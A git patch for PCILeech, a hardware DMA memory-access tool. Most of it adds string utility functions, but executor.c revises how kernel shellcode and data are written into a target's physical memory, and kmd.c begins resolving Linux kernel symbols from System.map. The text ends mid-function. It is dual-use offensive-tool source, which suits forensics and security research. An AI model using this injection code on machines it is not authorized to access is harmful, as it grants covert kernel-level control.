From 274dc8c0d762005948205d42221c906214a0819d Mon Sep 17 00:00:00 2001 From: Ulf Frisk Date: Sun, 24 Sep 2023 17:16:39 +0200 Subject: [PATCH] Version 4.17 --- files/lx64_exec_root.ksh | Bin 1360 -> 1442 bytes pcileech/charutil.c | 319 ++++++++- pcileech/charutil.h | 139 +++- pcileech/executor.c | 25 +- pcileech/help.c | 29 +- pcileech/kmd.c | 43 +- pcileech/ob/ob.h | 324 ++++++++- pcileech/ob/ob_cachemap.c | 16 +- pcileech/ob/ob_core.c | 34 +- pcileech/ob/ob_map.c | 262 ++++++- pcileech/ob/ob_set.c | 76 +- pcileech/shellcode.h | 664 +++++++++--------- pcileech/util.c | 2 +- pcileech/version.h | 6 +- pcileech/vfs.c | 5 +- pcileech/vfslist.c | 6 +- pcileech_shellcode/lx64_common.h | 28 +- pcileech_shellcode/lx64_common_a.asm | 41 +- pcileech_shellcode/lx64_exec_root.c | 7 +- pcileech_shellcode/lx64_stage2.asm | 30 +- pcileech_shellcode/lx64_stage3.asm | 11 +- pcileech_shellcode/lx64_stage3_c.c | 19 +- pcileech_shellcode/lx64_vfs.c | 33 +- pcileech_shellcode/pcileech_shellcode.vcxproj | 1 + .../pcileech_shellcode.vcxproj.filters | 3 + readme.md | 12 +- 26 files changed, 1608 insertions(+), 527 deletions(-) diff --git a/files/lx64_exec_root.ksh b/files/lx64_exec_root.ksh index 4d443356ecc1fb9a2cd886a5bb8d022518a788b9..b53b8e4b25889f7bae087b5e74e4f4a6fe98f4f5 100644 GIT binary patch delta 197 zcmcb>wTRo+T=b~jGyi)_D(xcOr-=o(xeeyF#P1fW3Ntt<*d6}B{OWAj@ zFfe?0ZRpV(TK;19K jAum5qp(?c~AH+_rNKGy+NmWSB&&^HDOVOJ=k!3#s 127) { return FALSE; } + if(CHARUTIL_ANSIFILENAME_ALLOW[c] == '0') { return FALSE; } + if(i > MAX_PATH - 2) { return FALSE; } + } +} + /* * Convert Ascii (0-255) or Wide (16-bit LE) string into a UTF-8 string. * Function support sz/wsz == pbBuffer - sz/wsz will then become overwritten. @@ -699,6 +712,108 @@ BOOL CharUtil_WtoJ(_In_opt_ LPWSTR wsz, _In_ DWORD cch, _Maybenull_ _Writable_by return FALSE; } +/* +* Convert UTF-8 string into a CSV compatible string. +* If source string contain either comma(,) space( ) doublequote(") it will be +* treated as a CSV string and be put into double quotes at start/end. +* Function support usz == pbBuffer - usz will then become overwritten. +* CALLER LOCALFREE (if *pvsz != pbBuffer): *pvsz +* -- usz = the string to convert. +* -- cch = -1 for null-terminated string; or max number of chars (excl. null). +* -- pbBuffer = optional buffer to place the result in. +* -- cbBuffer +* -- pvsz = if set to null: function calculate length only and return TRUE. + result utf-8 string, either as (*pvsz == pbBuffer) or LocalAlloc'ed +* buffer that caller is responsible for free. +* -- pcbv = byte length (including terminating null) of utf-8 string. +* -- flags = CHARUTIL_FLAG_NONE, CHARUTIL_FLAG_ALLOC or CHARUTIL_FLAG_TRUNCATE +* -- return +*/ +_Success_(return) +BOOL CharUtil_UtoCSV(_In_opt_ LPSTR usz, _In_ DWORD cch, _Maybenull_ _Writable_bytes_(cbBuffer) PBYTE pbBuffer, _In_ DWORD cbBuffer, _Out_opt_ LPSTR *pvsz, _Out_opt_ PDWORD pcbv, _In_ DWORD flags) +{ + UCHAR c; + LPSTR vsz; + DWORD iu, iv, n, cbu = 0, cbv = 0; + BOOL fCSV = FALSE; + BOOL fTruncate = flags & CHARUTIL_FLAG_TRUNCATE; + if(pcbv) { *pcbv = 0; } + if(pvsz) { *pvsz = NULL; } + if(!usz) { usz = ""; } + if(cch > CHARUTIL_CONVERT_MAXSIZE) { cch = CHARUTIL_CONVERT_MAXSIZE; } + // 1: csv byte-length: + if(usz[0] == '\0') { + fCSV = TRUE; + cbv += 2; + } + if(fTruncate && (!cbBuffer || (flags & CHARUTIL_FLAG_ALLOC))) { goto fail; } + while((cbu < cch) && (c = usz[cbu])) { + if(c & 0x80) { + // utf-8 char: + n = 0; + if((c & 0xe0) == 0xc0) { n = 2; } + if((c & 0xf0) == 0xe0) { n = 3; } + if((c & 0xf8) == 0xf0) { n = 4; } + if(!n) { goto fail; } // invalid char-encoding + if(cbu + n > cch) { break; } + if(fTruncate && (cbv + n >= cbBuffer)) { break; } + if((n > 1) && ((usz[cbu + 1] & 0xc0) != 0x80)) { goto fail; } // invalid char-encoding + if((n > 2) && ((usz[cbu + 2] & 0xc0) != 0x80)) { goto fail; } // invalid char-encoding + if((n > 3) && ((usz[cbu + 3] & 0xc0) != 0x80)) { goto fail; } // invalid char-encoding + cbu += n; + cbv += n; + } else if(c == '"' || c == ' ' || c == ',') { + n = (c == '"') ? 2 : 1; + if(!fCSV) { n += 2; } + if(fTruncate && (cbv + n >= cbBuffer)) { break; } + fCSV = TRUE; + cbu += 1; + cbv += n; + } else { + if(fTruncate && (cbv + 1 >= cbBuffer)) { break; } + cbu += 1; + cbv += 1; + } + } + cbu++; + cbv++; + if(pcbv) { *pcbv = cbv; } + // 2: return on length-request or alloc-fail + if(!pvsz) { + if(!(flags & CHARUTIL_FLAG_STR_BUFONLY)) { return TRUE; } // success: length request + if(flags & CHARUTIL_FLAG_ALLOC) { return FALSE; } + } + if(!(flags & CHARUTIL_FLAG_ALLOC) && (!pbBuffer || (cbBuffer < cbv))) { goto fail; } // fail: insufficient buffer space + vsz = (pbBuffer && (cbBuffer >= cbv)) ? pbBuffer : LocalAlloc(0, cbv); + if(!vsz) { goto fail; } // fail: failed buffer space allocation + // 3: populate with CSV UTF-8 string + iu = cbu - 2; iv = cbv - 2; + if(fCSV) { vsz[iv--] = '"'; } + while(iv < 0x7fffffff) { + if(!iv && fCSV) { + vsz[0] = '"'; + break; + } + c = usz[iu--]; + if(c == '"') { + vsz[iv--] = '"'; + } + if(c < 0x20) { + c = '?'; + } + vsz[iv--] = c; + } + vsz[cbv - 1] = 0; + if(pvsz) { *pvsz = vsz; } + return TRUE; +fail: + if(!(flags ^ CHARUTIL_FLAG_TRUNCATE_ONFAIL_NULLSTR) && pbBuffer && cbBuffer) { + if(pvsz) { *pvsz = (LPSTR)pbBuffer; } + if(pcbv) { *pcbv = 1; } + pbBuffer[0] = 0; + } + return FALSE; +} @@ -1027,7 +1142,7 @@ VOID CharUtil_ReplaceAllA(_Inout_ LPSTR sz, _In_ CHAR chOld, _In_ CHAR chNew) * -- usz = utf-8 or ascii string. * -- uszPath = buffer to receive result. * -- cbuPath = byte length of uszPath buffer -* -- return +* -- return = last part (i.e. file name) of usz. */ LPSTR CharUtil_PathSplitLastEx(_In_ LPSTR usz, _Out_writes_(cbuPath) LPSTR uszPath, _In_ DWORD cbuPath) { @@ -1047,6 +1162,28 @@ LPSTR CharUtil_PathSplitLastEx(_In_ LPSTR usz, _Out_writes_(cbuPath) LPSTR uszPa return uszPath + iSlash + 1; } +/* +* Split the string usz into two at the last (back)slash which is removed. +* If no slash is found, the input string is not modified and NULL is returned. +* NB! The input string is modified in place. +* Ex: usz: XXX/YYY/ZZZ/AAA -> usz: XXX/YYY/ZZZ + return: AAA +* -- usz = utf-8 or ascii string to be split/modified. +* -- return = last part (i.e. file name) of usz. +*/ +LPSTR CharUtil_PathSplitLastInPlace(_Inout_ LPSTR usz) +{ + DWORD i = 0, iSlash = -1; + CHAR ch = -1; + while((ch = usz[i])) { + if((ch == '\\') || (ch == '/')) { + iSlash = i; + } + i++; + } + if(iSlash == (DWORD)-1) { return NULL; } + usz[iSlash] = 0; + return usz + iSlash + 1; +} /* * Return the sub-string after the last (back)slash character in usz. @@ -1093,10 +1230,75 @@ LPSTR CharUtil_PathSplitNext(_In_ LPSTR usz) } } +/* +* Split a string into two at the first character. +* The 1st string is returned in the pusz1 caller-allocated buffer. The +* remainder is returned as return data (is a sub-string of usz). If no +* 2nd string is found null-terminator character is returned (NB! not as NULL). +* -- usz = utf-8/ascii string to split. +* -- ch = character to split at. +* -- usz1 = buffer to receive result. +* -- cbu1 = byte length of usz1 buffer +* -- return = remainder of split string. +*/ +LPSTR CharUtil_SplitFirst(_In_ LPSTR usz, _In_ CHAR ch, _Out_writes_(cbu1) LPSTR usz1, _In_ DWORD cbu1) +{ + UCHAR c; + DWORD i = 0; + while((c = usz[i]) && (c != ch) && (i < cbu1 - 2)) { + usz1[i++] = c; + } + usz1[i] = 0; + return usz[i] ? &usz[i + 1] : ""; +} + +/* +* Split a string into a list of strings at the delimiter characters. +* The function allocates neccessary memory for the result array and its values. +* CALLER LocalFree: *ppuszArray +* -- usz = utf-8/ascii string to split. +* -- chDelimiter = character to split at. +* -- pcArray = pointer to receive number of strings in result array. +* -- ppuszArray = pointer to receive result array. +* -- return = remainder of split string. +*/ +_Success_(return) +BOOL CharUtil_SplitList(_In_opt_ LPSTR usz, _In_ CHAR chDelimiter, _Out_ PDWORD pcArray, _Out_ LPSTR **ppuszArray) +{ + UCHAR c; + LPSTR *pszResult; + DWORD cch = 0, cDelim = 1, cDelimResult = 0; + *pcArray = 0; + *ppuszArray = NULL; + if(!usz) { return FALSE; } + // count total length and # of delimiters: + while((c = usz[cch])) { + if(c == chDelimiter) { cDelim++; } + cch++; + } + // allocate result array: + if(!(pszResult = LocalAlloc(LMEM_ZEROINIT, cDelim * sizeof(LPSTR) + cch + 1))) { return FALSE; } + memcpy(pszResult + cDelim, usz, cch); + usz = (LPSTR)(pszResult + cDelim); + // split string: + pszResult[cDelimResult++] = usz; + while((c = usz[0]) && (cDelimResult < cDelim)) { + if(c == chDelimiter) { + usz[0] = 0; + pszResult[cDelimResult++] = usz + 1; + } + usz++; + } + // set out parameters: + *ppuszArray = pszResult; + *pcArray = cDelim; + return TRUE; +} + /* * Split a "path" string into two at the first slash/backslash character. * The 1st string is returned in the pusz1 caller-allocated buffer. The -* remainder is returned as return data (is a sub-string of wsz). If no +* remainder is returned as return data (is a sub-string of usz). If no * 2nd string is found null-terminator character is returned (NB! not as NULL). * -- usz = utf-8/ascii string to split. * -- usz1 = buffer to receive result. @@ -1162,6 +1364,81 @@ QWORD CharUtil_HashPathFsW(_In_ LPCWSTR wszPath) return CharUtil_HashPathFs_Internal(uszPath); } +/* +* Compare multiple strings with a CharUtil_Str* compare function. +* If at least one comparison is TRUE return TRUE - otherwise FALSE. +* -- pfnStrCmp +* -- usz1 +* -- fCaseInsensitive +* -- cStr +* -- +* ... +* -- return +*/ +BOOL CharUtil_StrCmpAny(_In_opt_ CHARUTIL_STRCMP_PFN pfnStrCmp, _In_opt_ LPSTR usz1, _In_ BOOL fCaseInsensitive, _In_ DWORD cStr, ...) +{ + va_list arglist; + if(!pfnStrCmp) { return FALSE; } + va_start(arglist, cStr); + while(cStr) { + if(pfnStrCmp(usz1, va_arg(arglist, LPSTR), fCaseInsensitive)) { + va_end(arglist); + return TRUE; + } + cStr--; + } + va_end(arglist); + return FALSE; +} + +/* +* Compare multiple strings with a CharUtil_Str* compare function. +* If at least one comparison is TRUE return TRUE - otherwise FALSE. +* -- pfnStrCmp +* -- usz1 +* -- fCaseInsensitive +* -- cStr +* -- pStr +* -- return +*/ +BOOL CharUtil_StrCmpAnyEx(_In_opt_ CHARUTIL_STRCMP_PFN pfnStrCmp, _In_opt_ LPSTR usz1, _In_ BOOL fCaseInsensitive, _In_ DWORD cStr, _In_ LPSTR *pStr) +{ + if(!pfnStrCmp) { return FALSE; } + while(cStr) { + if(pfnStrCmp(usz1, pStr[--cStr], fCaseInsensitive)) { + return TRUE; + } + } + return FALSE; +} + +/* +* Compare multiple strings with a CharUtil_Str* compare function. +* If all comparisons are TRUE return TRUE - otherwise FALSE. +* -- pfnStrCmp +* -- usz1 +* -- fCaseInsensitive +* -- cStr +* -- +* ... +* -- return +*/ +BOOL CharUtil_StrCmpAll(_In_opt_ CHARUTIL_STRCMP_PFN pfnStrCmp, _In_opt_ LPSTR usz1, _In_ BOOL fCaseInsensitive, _In_ DWORD cStr, ...) +{ + va_list arglist; + if(!pfnStrCmp) { return FALSE; } + va_start(arglist, cStr); + while(cStr) { + if(!pfnStrCmp(usz1, va_arg(arglist, LPSTR), fCaseInsensitive)) { + va_end(arglist); + return FALSE; + } + cStr--; + } + va_end(arglist); + return TRUE; +} + /* * Checks if a string ends with a certain substring. * -- usz @@ -1181,6 +1458,42 @@ BOOL CharUtil_StrEndsWith(_In_opt_ LPSTR usz, _In_opt_ LPSTR uszEndsWith, _In_ B (0 == strcmp(usz + cch - cchEndsWith, uszEndsWith)); } +/* +* Checks if a string starts with a certain substring. +* -- usz +* -- uszStartsWith +* -- fCaseInsensitive +* -- return +*/ +BOOL CharUtil_StrStartsWith(_In_opt_ LPSTR usz, _In_opt_ LPSTR uszStartsWith, _In_ BOOL fCaseInsensitive) +{ + if(!usz || !uszStartsWith) { return FALSE; } + if(fCaseInsensitive) { + return (0 == _strnicmp(usz, uszStartsWith, strlen(uszStartsWith))); + } else { + return (0 == strncmp(usz, uszStartsWith, strlen(uszStartsWith))); + } +} + +/* +* Checks if a string equals another string. +* -- usz1 +* -- usz2 +* -- fCaseInsensitive +* -- return +*/ +BOOL CharUtil_StrEquals(_In_opt_ LPSTR usz, _In_opt_ LPSTR usz2, _In_ BOOL fCaseInsensitive) +{ + if(!usz || !usz2) { return FALSE; } + if(fCaseInsensitive) { + return (0 == _stricmp(usz, usz2)); + } else { + return (0 == strcmp(usz, usz2)); + } +} + + + /* * Compare a wide-char string to a utf-8 string. * NB! only the first 2*MAX_PATH characters are compared. diff --git a/pcileech/charutil.h b/pcileech/charutil.h index 860c943..27e7881 100644 --- a/pcileech/charutil.h +++ b/pcileech/charutil.h @@ -1,6 +1,6 @@ // charutil.h : definitions of various character/string utility functions. // -// (c) Ulf Frisk, 2021-2022 +// (c) Ulf Frisk, 2021-2023 // Author: Ulf Frisk, pcileech@frizk.net // #ifndef __CHARUTIL_H__ @@ -26,6 +26,7 @@ typedef unsigned __int64 QWORD, *PQWORD; */ BOOL CharUtil_IsAnsiA(_In_ LPCSTR sz); BOOL CharUtil_IsAnsiW(_In_ LPCWSTR wsz); +BOOL CharUtil_IsAnsiFsA(_In_ LPCSTR sz); /* * Convert Ascii (0-255) or Wide (16-bit LE) string into a UTF-8 string. @@ -39,7 +40,7 @@ BOOL CharUtil_IsAnsiW(_In_ LPCWSTR wsz); result utf-8 string, either as (*pusz == pbBuffer) or LocalAlloc'ed * buffer that caller is responsible for free. * -- pcbu = byte length (including terminating null) of utf-8 string. -* -- flags = CHARUTIL_FLAG_NONE, CHARUTIL_FLAG_ALLOC or CHARUTIL_FLAG_TRUNCATE +* -- flags = CHARUTIL_FLAG_NONE, CHARUTIL_FLAG_STR_BUFONLY, CHARUTIL_FLAG_ALLOC, CHARUTIL_FLAG_TRUNCATE, etc. * -- return */ _Success_(return) @@ -48,7 +49,7 @@ BOOL CharUtil_UtoU( _In_ DWORD cch, _Maybenull_ _Writable_bytes_(cbBuffer) PBYTE pbBuffer, _In_ DWORD cbBuffer, - _Out_opt_ LPSTR * pusz, + _Out_opt_ LPSTR *pusz, _Out_opt_ PDWORD pcbu, _In_ DWORD flags ); @@ -87,7 +88,7 @@ BOOL CharUtil_WtoU( result wide-string, either as (*pwsz == pbBuffer) or LocalAlloc'ed * buffer that caller is responsible for free. * -- pcbw = byte length (including terminating null) of wide-char string. -* -- flags = CHARUTIL_FLAG_NONE, CHARUTIL_FLAG_ALLOC or CHARUTIL_FLAG_TRUNCATE +* -- flags = CHARUTIL_FLAG_NONE, CHARUTIL_FLAG_STR_BUFONLY, CHARUTIL_FLAG_ALLOC, CHARUTIL_FLAG_TRUNCATE, etc. * -- return */ _Success_(return) @@ -124,7 +125,7 @@ BOOL CharUtil_WtoW( result utf-8 string, either as (*pjsz == pbBuffer) or LocalAlloc'ed * buffer that caller is responsible for free. * -- pcbj = byte length (including terminating null) of utf-8 string. -* -- flags = CHARUTIL_FLAG_NONE, CHARUTIL_FLAG_ALLOC or CHARUTIL_FLAG_TRUNCATE +* -- flags = CHARUTIL_FLAG_NONE, CHARUTIL_FLAG_STR_BUFONLY, CHARUTIL_FLAG_ALLOC, CHARUTIL_FLAG_TRUNCATE, etc. * -- return */ _Success_(return) @@ -160,6 +161,33 @@ BOOL CharUtil_WtoJ( _In_ DWORD flags ); +/* +* Convert UTF-8 string into a CSV compatible string. +* If source string contain either comma(,) space( ) doublequote(") it will be +* treated as a CSV string and be put into double quotes at start/end. +* Function support usz == pbBuffer - usz will then become overwritten. +* CALLER LOCALFREE (if *pvsz != pbBuffer): *pvsz +* -- usz = the string to convert. +* -- cch = -1 for null-terminated string; or max number of chars (excl. null). +* -- pbBuffer = optional buffer to place the result in. +* -- cbBuffer +* -- pvsz = if set to null: function calculate length only and return TRUE. + result utf-8 string, either as (*pvsz == pbBuffer) or LocalAlloc'ed +* buffer that caller is responsible for free. +* -- pcbv = byte length (including terminating null) of utf-8 string. +* -- flags = CHARUTIL_FLAG_NONE, CHARUTIL_FLAG_STR_BUFONLY, CHARUTIL_FLAG_ALLOC, CHARUTIL_FLAG_TRUNCATE, etc. +* -- return +*/ +_Success_(return) +BOOL CharUtil_UtoCSV( + _In_opt_ LPSTR usz, + _In_ DWORD cch, + _Maybenull_ _Writable_bytes_(cbBuffer) PBYTE pbBuffer, + _In_ DWORD cbBuffer, + _Out_opt_ LPSTR *pvsz, + _Out_opt_ PDWORD pcbv, + _In_ DWORD flags); + /* * Hash a string quickly using the ROT13 algorithm either to a 64-bit or 32-bit number. * -- sz/usz/wsz = the string to hash @@ -250,10 +278,36 @@ DWORD CharUtil_FixFsName( */ VOID CharUtil_ReplaceAllA(_Inout_ LPSTR sz, _In_ CHAR chOld, _In_ CHAR chNew); +/* +* Split a string into two at the first character. +* The 1st string is returned in the pusz1 caller-allocated buffer. The +* remainder is returned as return data (is a sub-string of usz). If no +* 2nd string is found null-terminator character is returned (NB! not as NULL). +* -- usz = utf-8/ascii string to split. +* -- ch = character to split at. +* -- usz1 = buffer to receive result. +* -- cbu1 = byte length of usz1 buffer +* -- return = remainder of split string. +*/ +LPSTR CharUtil_SplitFirst(_In_ LPSTR usz, _In_ CHAR ch, _Out_writes_(cbu1) LPSTR usz1, _In_ DWORD cbu1); + +/* +* Split a string into a list of strings at the delimiter characters. +* The function allocates neccessary memory for the result array and its values. +* CALLER LocalFree: *ppuszArray +* -- usz = utf-8/ascii string to split. +* -- chDelimiter = character to split at. +* -- pcArray = pointer to receive number of strings in result array. +* -- ppuszArray = pointer to receive result array. +* -- return = remainder of split string. +*/ +_Success_(return) +BOOL CharUtil_SplitList(_In_opt_ LPSTR usz, _In_ CHAR chDelimiter, _Out_ PDWORD pcArray, _Out_ LPSTR * *ppuszArray); + /* * Split a "path" string into two at the first slash/backslash character. * The 1st string is returned in the pusz1 caller-allocated buffer. The -* remainder is returned as return data (is a sub-string of wsz). If no +* remainder is returned as return data (is a sub-string of usz). If no * 2nd string is found null-terminator character is returned (NB! not as NULL). * -- usz = utf-8/ascii string to split. * -- usz1 = buffer to receive result. @@ -280,16 +334,69 @@ LPSTR CharUtil_PathSplitNext(_In_ LPSTR usz); */ LPSTR CharUtil_PathSplitLast(_In_ LPSTR usz); +/* +* Split the string usz into two at the last (back)slash which is removed. +* If no slash is found, the input string is not modified and NULL is returned. +* NB! The input string is modified in place. +* Ex: usz: XXX/YYY/ZZZ/AAA -> usz: XXX/YYY/ZZZ + return: AAA +* -- usz = utf-8 or ascii string to be split/modified. +* -- return = last part (i.e. file name) of usz. +*/ +LPSTR CharUtil_PathSplitLastInPlace(_Inout_ LPSTR usz); + /* * Split the string usz into two at the last (back)slash which is removed. * Ex: usz: XXX/YYY/ZZZ/AAA -> uszPath: XXX/YYY/ZZZ + return: AAA * -- usz = utf-8 or ascii string. * -- uszPath = buffer to receive result. * -- cbuPath = byte length of uszPath buffer -* -- return +* -- return = last part (i.e. file name) of usz. */ LPSTR CharUtil_PathSplitLastEx(_In_ LPSTR usz, _Out_writes_(cbuPath) LPSTR uszPath, _In_ DWORD cbuPath); +/* +* Common typedef for a CharUtil_Str* comparison function. +*/ +typedef BOOL(*CHARUTIL_STRCMP_PFN)(_In_opt_ LPSTR usz1, _In_opt_ LPSTR usz2, _In_ BOOL fCaseInsensitive); + +/* +* Compare multiple strings with a CharUtil_Str* compare function. +* If at least one comparison is TRUE return TRUE - otherwise FALSE. +* -- pfnStrCmp +* -- usz1 +* -- fCaseInsensitive +* -- cStr +* -- +* ... +* -- return +*/ +BOOL CharUtil_StrCmpAny(_In_opt_ CHARUTIL_STRCMP_PFN pfnStrCmp, _In_opt_ LPSTR usz1, _In_ BOOL fCaseInsensitive, _In_ DWORD cStr, ...); + +/* +* Compare multiple strings with a CharUtil_Str* compare function. +* If at least one comparison is TRUE return TRUE - otherwise FALSE. +* -- pfnStrCmp +* -- usz1 +* -- fCaseInsensitive +* -- cStr +* -- pStr +* -- return +*/ +BOOL CharUtil_StrCmpAnyEx(_In_opt_ CHARUTIL_STRCMP_PFN pfnStrCmp, _In_opt_ LPSTR usz1, _In_ BOOL fCaseInsensitive, _In_ DWORD cStr, _In_ LPSTR *pStr); + +/* +* Compare multiple strings with a CharUtil_Str* compare function. +* If all comparisons are TRUE return TRUE - otherwise FALSE. +* -- pfnStrCmp +* -- usz1 +* -- fCaseInsensitive +* -- cStr +* -- +* ... +* -- return +*/ +BOOL CharUtil_StrCmpAll(_In_opt_ CHARUTIL_STRCMP_PFN pfnStrCmp, _In_opt_ LPSTR usz1, _In_ BOOL fCaseInsensitive, _In_ DWORD cStr, ...); + /* * Checks if a string ends with a certain substring. * -- usz @@ -299,6 +406,24 @@ LPSTR CharUtil_PathSplitLastEx(_In_ LPSTR usz, _Out_writes_(cbuPath) LPSTR uszPa */ BOOL CharUtil_StrEndsWith(_In_opt_ LPSTR usz, _In_opt_ LPSTR uszEndsWith, _In_ BOOL fCaseInsensitive); +/* +* Checks if a string starts with a certain substring. +* -- usz +* -- uszStartsWith +* -- fCaseInsensitive +* -- return +*/ +BOOL CharUtil_StrStartsWith(_In_opt_ LPSTR usz, _In_opt_ LPSTR uszStartsWith, _In_ BOOL fCaseInsensitive); + +/* +* Checks if a string equals another string. +* -- usz1 +* -- usz2 +* -- fCaseInsensitive +* -- return +*/ +BOOL CharUtil_StrEquals(_In_opt_ LPSTR usz, _In_opt_ LPSTR usz2, _In_ BOOL fCaseInsensitive); + /* * Compare a wide-char string to a utf-8 string. * NB! only the first 2*MAX_PATH characters are compared. diff --git a/pcileech/executor.c b/pcileech/executor.c index 7cc59bb..6c97893 100644 --- a/pcileech/executor.c +++ b/pcileech/executor.c @@ -206,34 +206,26 @@ VOID Exec_CallbackClose(_In_opt_ HANDLE hCallback) _Success_(return) BOOL Exec_ExecSilent(_In_ LPSTR szShellcodeName, _In_ PBYTE pbIn, _In_ QWORD cbIn, _Out_opt_ PBYTE *ppbOut, _Out_opt_ PQWORD pcbOut) { - PKMDDATA pk = ctxMain->pk; BOOL result = FALSE; - DWORD cbBuffer; - PBYTE pbBuffer = NULL; + PKMDDATA pk = ctxMain->pk; PKMDEXEC pKmdExec = NULL; //------------------------------------------------ // 1: Setup and initial validity checks. //------------------------------------------------ if(pcbOut) { *pcbOut = 0; } - if(!ctxMain->phKMD) { goto fail; } - result = Util_LoadKmdExecShellcode(szShellcodeName, &pKmdExec); - if(!result) { goto fail; } - cbBuffer = SIZE_PAGE_ALIGN_4K(pKmdExec->cbShellcode) + SIZE_PAGE_ALIGN_4K(cbIn); - if(!result || (ctxMain->pk->DMASizeBuffer < cbBuffer)) { result = FALSE; goto fail; } - pbBuffer = LocalAlloc(LMEM_ZEROINIT, cbBuffer); - if(!pbBuffer) { result = FALSE; goto fail; } + if(ppbOut) { *ppbOut = NULL; } + if(!ctxMain->phKMD || (ctxMain->pk->DMASizeBuffer < 0x80000 + SIZE_PAGE_ALIGN_4K(cbIn))) { goto fail; } + if(!Util_LoadKmdExecShellcode(szShellcodeName, &pKmdExec) || (pKmdExec->cbShellcode > 0x80000)) { goto fail; } //------------------------------------------------ // 2: Set up shellcode and indata and write to target memory. // X, Y = page aligned. // [0 , Y [ = shellcode - // [Y , X [ = data in (to target computer) + // [0x80000 , X [ = data in (to target computer) // [X , buf_max [ = data out (from target computer) //------------------------------------------------ - memcpy(pbBuffer, pKmdExec->pbShellcode, (SIZE_T)pKmdExec->cbShellcode); - memcpy(pbBuffer + SIZE_PAGE_ALIGN_4K(pKmdExec->cbShellcode), pbIn, (SIZE_T)cbIn); - result = DeviceWriteDMA_Retry(ctxMain->hLC, pk->DMAAddrPhysical, cbBuffer, pbBuffer); - if(!result) { goto fail; } - pk->dataInExtraOffset = SIZE_PAGE_ALIGN_4K(pKmdExec->cbShellcode); + if(!DeviceWriteDMA_Retry(ctxMain->hLC, pk->DMAAddrPhysical, (DWORD)pKmdExec->cbShellcode, pKmdExec->pbShellcode)) { goto fail; } + if(cbIn && !DeviceWriteDMA_Retry(ctxMain->hLC, pk->DMAAddrPhysical + 0x80000, (DWORD)cbIn, pbIn)) { goto fail; } + pk->dataInExtraOffset = 0x80000; // first 0x80 pages are reserved for shellcode (RX section) in Linux 6.4+. pk->dataInExtraLength = cbIn; pk->dataInExtraLengthMax = SIZE_PAGE_ALIGN_4K(cbIn); pk->dataOutExtraOffset = pk->dataInExtraOffset + pk->dataInExtraLengthMax; @@ -259,7 +251,6 @@ BOOL Exec_ExecSilent(_In_ LPSTR szShellcodeName, _In_ PBYTE pbIn, _In_ QWORD cbI } fail: LocalFree(pKmdExec); - LocalFree(pbBuffer); return result; } diff --git a/pcileech/help.c b/pcileech/help.c index 6ee3824..2ace965 100644 --- a/pcileech/help.c +++ b/pcileech/help.c @@ -153,6 +153,7 @@ VOID Help_ShowGeneral() " WIN10_X64_3 \n" \ " LINUX_X64_46 (NB! Kernels 2.6.33 - 4.6) \n" \ " LINUX_X64_48 (NB! Kernels 4.8+) \n" \ + " LINUX_X64_MAP (NB! Linux systems with System.map in -in arg)\n" \ " LINUX_X64_EFI (NB! UEFI booted systems only) \n" \ " FREEBSD_X64 \n" \ " MACOS \n" \ @@ -174,7 +175,7 @@ VOID Help_ShowInfo() { printf( " PCILEECH INFORMATION \n" \ - " PCILeech (c) 2016-2022 Ulf Frisk \n" \ + " PCILeech (c) 2016-2023 Ulf Frisk \n" \ " Version: " \ VER_FILE_VERSION_STR "\n" \ " \n" \ @@ -212,26 +213,9 @@ VOID Help_ShowInfo() " To be able to use the 'mount' functionality for filesystem browsing PCILeech\n" \ " requires Dokany to be installed for virtual file system support. Download \n" \ " and install Dokany on your computer before using the mount functionality. \n" \ - " Driver information (USB3380/Linux): \n" \ + " Driver information (USB3380/FPGA/FT601/Linux): \n" \ " PCILeech on Linux requires that libusb is installed. Libusb is most probably\n" \ " installed by default, if not install by running:apt-get install libusb-1.0-0\n" \ - " Driver information (FPGA/FT601/Linux): \n" \ - " The PCILeech programmed FPGA board with FT601 USB3 requires drivers for USB.\n" \ - " The driver is a small kernel driver found in the drivers/ft60x folder in the\n" \ - " PCIe Injector Github repository. Once loaded the driver will expose a device\n" \ - " named /dev/ft60x[0-3] Please note that this device file must be read/write \n" \ - " for the current user for PCILeech to find and use it automatically. \n" \ - " ---------------- \n" \ - " Notes about the PCILeech USB3380 device: \n" \ - " Usage: connect USB3380 device to target computer and USB cable to the computer\n" \ - " executing pcileech. If all memory reads fail try to re-insert the device. \n" \ - " - It is only possible to access the lower 4GB of RAM (32-bit) with DMA. \n" \ - " - It may not be possible to access RAM if OS configured IOMMU (VT-d). \n" \ - " macOS defaults to VT-d. Windows 10 may, if configured, also use VT-d. \n" \ - " - No drivers are needed on the target! Memory acquisition is all in hardware! \n" \ - " - Confirmed working with PCIe/mPCIe/ExpressCard/Thunderbolt. \n" \ - " - If kernel module is successfully inserted in lower 4GB RAM more RAM will be \n" \ - " possible to read. Extended funtionality will also be made available. \n" \ " ---------------- \n"); Help_ShowGeneral(); } @@ -367,12 +351,9 @@ VOID Help_ShowDetailed() " Mount the target system live ram and file system as the drive letter specified\n" \ " in the -mount option. If the -mount option is not specified PCILeech will try\n" \ " to mount the target file system as the K: drive letter. \n" \ - " File system comes with two main functionalities, mount target system files if \n" \ - " hardware device is used, and mount memory process file system (in read-only \n" \ - " mode when dump file is used, in read-write mode when hardware device is used).\n" \ " ------------------------------------------------------------------------------\n" \ - " File system mount is currently supported for: macOS, Windows and Linux. There\n" \ - " are limitations that are important to know, please see below. Use at own risk!\n" \ + " File system mount is currently supported for Windows and Linux. \n" \ + " See important limitations below. Use at own risk! \n" \ " - Create file: not implemented. \n" \ " - Write to files may be buggy and may in rare cases corrupt the target file. \n" \ " - Delete file will most often work, but with errors. \n" \ diff --git a/pcileech/kmd.c b/pcileech/kmd.c index 38eecdb..b1f4539 100644 --- a/pcileech/kmd.c +++ b/pcileech/kmd.c @@ -345,6 +345,37 @@ BOOL KMD_LinuxFindFunctionAddrTBL_RelativeSymTabSearch(_In_ PBYTE pb, _In_ DWORD return FALSE; } +QWORD KMD_LinuxFindFunctionAddrTBL_FromSystemMap_GetAddressFromName(_In_ LPSTR sz) +{ + CHAR szNeedle[MAX_PATH], *szFind; + if(_snprintf_s(szNeedle, sizeof(szNeedle), _TRUNCATE, " T %s\n", sz) <= 0) { return 0; } + szFind = strstr((LPSTR)ctxMain->cfg.pbIn + 16, szNeedle); + if(!szFind) { return 0; } + return strtoull(szFind - 16, NULL, 16); +} + +VOID KMD_LinuxFindFunctionAddrTBL_FromSystemMap(_In_ PBYTE pb, _In_ DWORD cb, _Inout_updates_(cS) PKERNELSEEKER pS, _In_ DWORD cS, _In_ QWORD vaBase) +{ + QWORD i, o, va_startup_64, va; + if(ctxMain->cfg.cbIn < 32) { return; } + 